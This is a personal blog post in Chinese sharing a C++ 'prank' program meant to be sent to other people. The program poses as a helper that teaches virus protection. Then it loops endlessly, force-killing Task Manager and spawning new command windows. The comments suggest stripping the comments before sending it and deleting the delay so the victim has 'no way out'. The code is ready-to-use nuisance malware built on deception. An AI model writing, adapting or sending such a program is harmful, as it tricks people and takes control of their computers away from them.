跳到正文

个人记录

好玩的

LSY_NY约 2 分钟
原文
文章信息与版本

文章信息

发布
2024年7月24日
收录
2025年12月12日
更新
2026年11月16日
篇幅
约 2 分钟
获赞
1

版本

  1. v1当前

很好的损人代码

C++
//这是一个不基于windows.h的坑人代码。(发给别人时记得删掉) 
#define BITS 1
//把上一行注释掉就不用万能头 
#ifdef BITS
	#include <bits/stdc++.h>
	#warning "It wiil be a little slow when the code is being compiled."
#else
	#include <cstdio>
	#include <cstdlib>
	#warning "The operation you do will be influenced by the .h file,you'd better use the bits/stdc++.h to program your code."	
#endif
	
using namespace std;

int main(void)
{
	//st.
	printf("Hello!\n");
	system("powershell.exe Sleep 0.2"),system("cls");
	printf("我是你的\"小助手\"。\n");
	system("powershell Sleep 0.4"),system("cls");
	printf("我会教你如何保护电脑不受病毒的攻击。\n");
	system("powershell Sleep 1.3"),system("cls");
	printf("准备好了就按下回车键(\"Enter\")。\n");
	getchar();
	system("cls");
	//ed.
	//st.~ed.这一段区间的代码都可以注释掉,属于铺垫。 
	while(true)
	{
		system("taskkill -im taskmgr.exe -f -t");
    	system("cls");
		system("start cmd /k echo SEE YOU AGAIN\n");
		system("powershell Sleep 1.5");
		//如果你不想留活路,可以把上一行注释掉。 
	}
	return 0;
}
原文
存档评论2 条抓取于